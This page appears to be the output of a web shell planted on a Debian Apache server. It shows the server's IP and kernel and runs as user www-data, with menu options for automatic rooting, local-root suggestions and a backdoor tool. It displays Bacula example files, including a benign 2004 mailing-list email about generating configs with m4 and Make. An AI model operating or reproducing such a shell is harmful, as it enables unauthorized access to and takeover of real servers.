Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.122
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
bacula-common /
examples /
conf /
Delete
Unzip
Name
Size
Permission
Date
Action
bacula-defs.m4
1.1
KB
-rw-r--r--
2016-09-21 11:58
console.conf
169
B
-rw-r--r--
2016-09-21 11:58
defaultconfig
673
B
-rwxr-xr-x
2016-09-21 11:58
fileset_convert.pl
723
B
-rwxr-xr-x
2016-09-21 11:58
kernsconfig
765
B
-rwxr-xr-x
2016-09-21 11:58
m4.Makefile
1.07
KB
-rw-r--r--
2016-09-21 11:58
m4.additions
1.4
KB
-rw-r--r--
2016-09-21 11:58
m4.bacula-dir.conf.gz
2.08
KB
-rw-r--r--
2016-09-21 11:58
m4.bacula-fd.conf
734
B
-rw-r--r--
2016-09-21 11:58
m4.bacula-sd.conf
3.88
KB
-rw-r--r--
2016-09-21 11:58
m4.email
1.15
KB
-rw-r--r--
2016-09-21 11:58
many-clients.txt
2.72
KB
-rw-r--r--
2016-09-21 11:58
Save
Rename
From: Marc Schoechlin <ms@LF.net> To: Peter Eriksson <peter@ifm.liu.se> Cc: bacula-users@lists.sourceforge.net Subject: Re: [Bacula-users] RE: Feature Request : includes for config-files Hi ! On Fri, May 21, 2004 at 11:24:13AM +0200, Peter Eriksson wrote: > > I think that is the 99%-solution for this problem - > > but I think many users would be happy with a 90%-solution, which > > allows to store configuration-data in distributed files. > > Or you could do as I just did - generate the configuration > files using a Makefile and the m4 macro processor... That way you > don't have to reinvent the wheel again inside Bacula but can delegate > the tasks to external programs. > > [See the attached files for details. They can be expanded > a lot though, it's just a beginning] Many thanks for the files! I adopted this way now - and it works with good results :-) The different client-definitions can now be placed on distributed locations. Look at the make-target below : -- $(ETCDIR)/bacula-dir.conf: bacula-dir.conf bacula-defs.m4 cat bacula-dir.conf > $(ETCDIR)/bacula-dir.conf.tmp && \ $(FIND) $(CUSTOMERS) -name "*.cfg" -exec cat {} >> $(ETCDIR)/bacula-dir.conf.tmp \; && \ $(M4) $(ETCDIR)/bacula-dir.conf.tmp >$(ETCDIR)/bacula-dir.tmp && \ $(DIR) -t -c $(ETCDIR)/bacula-dir.tmp && \ mv $(ETCDIR)/bacula-dir.tmp $(ETCDIR)/bacula-dir.conf -- Best regards Marc Schoechlin